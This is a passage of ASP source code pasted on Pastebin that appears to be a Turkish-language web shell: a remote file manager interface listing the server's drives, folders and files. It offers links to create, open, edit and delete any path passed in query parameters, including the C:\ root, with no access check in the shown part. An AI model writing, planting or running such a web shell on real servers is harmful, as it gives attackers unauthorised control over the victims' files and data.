  772. <font face="Verdana" style="font-size: 8pt" color="#9F9F9F">
  773. <a href="?suruculer=1" style="text-decoration: none">
  774. <font color="#9F9F9F">Sürücüler</font></a></font></span></td>
  775. </tr>
  776. </table>
  777. </td>
  778. <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000">
  779. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber27">
  780. <tr>
  781. <td align="center" bgcolor="#5F5F5F" height="19"
  782. onmouseover="style.background='#6F6F6F'"
  783. onmouseout="style.background='#5F5F5F'"
  784. style="CURSOR: hand"
  785. bordercolor="#000000">
  786. <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F">
  787. <a href="?klasac=1&aktifklas=<%=aktifklas%>" style="text-decoration: none">
  788. <font color="#9F9F9F">Yeni Klasör</font></a></font></td>
  789. </tr>
  790. </table>
  791. </td>
  792. <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000">
  793. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber28">
  794. <tr>
  795. <td align="center" bgcolor="#5F5F5F" height="19"
  796. onmouseover="style.background='#6F6F6F'"
  797. onmouseout="style.background='#5F5F5F'"
  798. style="CURSOR: hand"
  799. bordercolor="#000000">
  800. <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F">
  801. <a href="?yenidosya=<%=aktifklas%>" style="text-decoration: none"><font color="#9F9F9F">Yeni Dosya</font></a> </font></td>
  802. </tr>
  803. </table>
  804. </td>
  805. </tr>
  806. </table>
  807. </td>
  808. </tr>
  809. </table>
  810.  
  811.  
  812.  
  813. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber7" height="17">
  814. <tr>
  815. <td width="30" height="17" bgcolor="#9F9F9F">
  816. <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Tür</font></td>
  817. <td height="17" bgcolor="#9F9F9F">
  818. <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Dosya
  819. Adi</font></td>
  820. <td width="122" height="17" bgcolor="#9F9F9F">
  821. <p align="center">
  822. <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Islem</font></td>
  823. </tr>
  824. </table><%response.write(myStringo)%>
  825.  
  826.  
  827.  
  828. <% For each oge in altklasorler %>
  829.  
  830.  
  831. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="17">
  832. <tr>
  833. <td width="30" height="17" bgcolor="#808080">
  834. <p align="center">
  835. <img border="0" src="http://Have Fun/images/lastpost.gif"></td>
  836. <td height="17" bgcolor="#C4C4C4">
  837. <font face="Verdana" style="font-size: 8pt">&nbsp;<%=oge.name%>&nbsp;</font></td>
  838. <td width="61" height="17" bgcolor="#C4C4C4" align="center">
  839. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber15" height="20">
  840. <tr>
  841. <td width="100%" bgcolor="#A3A3A3"
  842. onmouseover="this.style.background='#BBBBBB'"
  843. onmouseout="this.style.background='#A3A3A3'"
  844. style="CURSOR: hand"
  845. height="20">
  846.  
  847. <p align="center"><font face="Verdana" style="font-size: 8pt">
  848. <a href="?klas=<%=aktifklas%><%=oge.name%>\" style="text-decoration: none">
  849. <font color="#000000">Aç</font></a></font></td>
  850. </tr>
  851. </table>
  852. </td>
  853. <td width="60" height="17" bgcolor="#C4C4C4" align="center">
  854. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber18" height="20">
  855. <tr>
  856. <td width="100%" bgcolor="#A3A3A3"
  857. onmouseover="this.style.background='#BBBBBB'"
  858. onmouseout="this.style.background='#A3A3A3'"
  859.  
  860.  
  861. style="CURSOR: hand"
  862. height="20">
  863.  
  864. <p align="center"><font face="Verdana" style="font-size: 8pt">
  865. <a href="?silklas=<%=aktifklas & oge.name & "&klas=" & aktifklas %>" style="text-decoration: none">
  866. <font color="#000000">Sil</font></a>
  867.  
  868. </font></td>
  869. </tr>
  870. </table>
  871. </td>
  872. </tr>
  873. </table>
  874.  
  875. <% Next %>
  876.  
  877.  
  878. <% For each oge in dosyalar %>
  879. <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="1">
  880. <tr>
  881. <td width="30" height="1" bgcolor="#B0B0B0">
  882. <p align="center">
  883. <img border="0" src="http://Have Fun/images/lastpost.gif"></td>
  884. <td height="1" bgcolor="#EAEAEA">
  885. <font face="Verdana" style="font-size: 8pt">&nbsp;<%=oge.name%> </font>
  886. <font face="Arial Narrow" style="font-size: 8pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( <%=Round(oge.size/1024,1)%> KB )&nbsp;</font></td>
  887. <td width="61" height="1" bgcolor="#D6D6D6" align="center">
  888. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber12" height="20">
  889. <tr>
  890. <td width="100%" bgcolor="#D6D6D6" no wrap
  891. onmouseover="this.style.background='#ACACAC'"
  892. onmouseout="this.style.background='#D6D6D6'"
  893. style="CURSOR: hand"
  894. height="20">
  895.  
  896. <p align="center"><font face="Verdana" style="font-size: 8pt">
  897. <a style="text-decoration: none" target="_self" href="?duzenle=<%=aktifklas%><%=oge.name%>&klas=<%=aktifklas%>">
  898. <font color="#000000">Düzenle</font></a></font></td>
  899. </tr>
  900. </table>
  901. </td>
  902. <td width="60" height="1" bgcolor="#D6D6D6" align="center">
  903. <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber13" height="20">
  904. <tr>
  905. <td width="100%" bgcolor="#D6D6D6" no wrap
  906. onmouseover="this.style.background='#ACACAC'"
  907. onmouseout="this.style.background='#D6D6D6'"
  908. style="CURSOR: hand"
  909. height="20">
  910.  
  911. <p align="center"><font face="Verdana" style="font-size: 8pt">
  912. <a href="?sildos=<%=aktifklas%><%=oge.name%>&klas=<%=aktifklas%>" style="text-decoration: none">
  913. <font color="#000000">Sil</font></a></font></td>
  914. </tr>
  915. </table>
  916. </td>
  917. </tr>
  918. </table>
  919.  
  920. <% Next %>
  921.  
  922.  
  923.  
  924. <%
  925. if aktifklas=("C:\") then aktifklas=("C:")
  926. %>
  927.  
  928.  
  929. <%
  930. end if
  931. %>
  932.  
  933.  
  934.  
  935. <%
  936. end if
  937. %>
  938.  
  939.  
  940. <%
  941. end if
  942. %>
  943.  
  944.  
  945. <%
  946. end if
  947. %>
  948.  
  949. <%
  950. end if
  951. %>
  952. </body>
  953. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!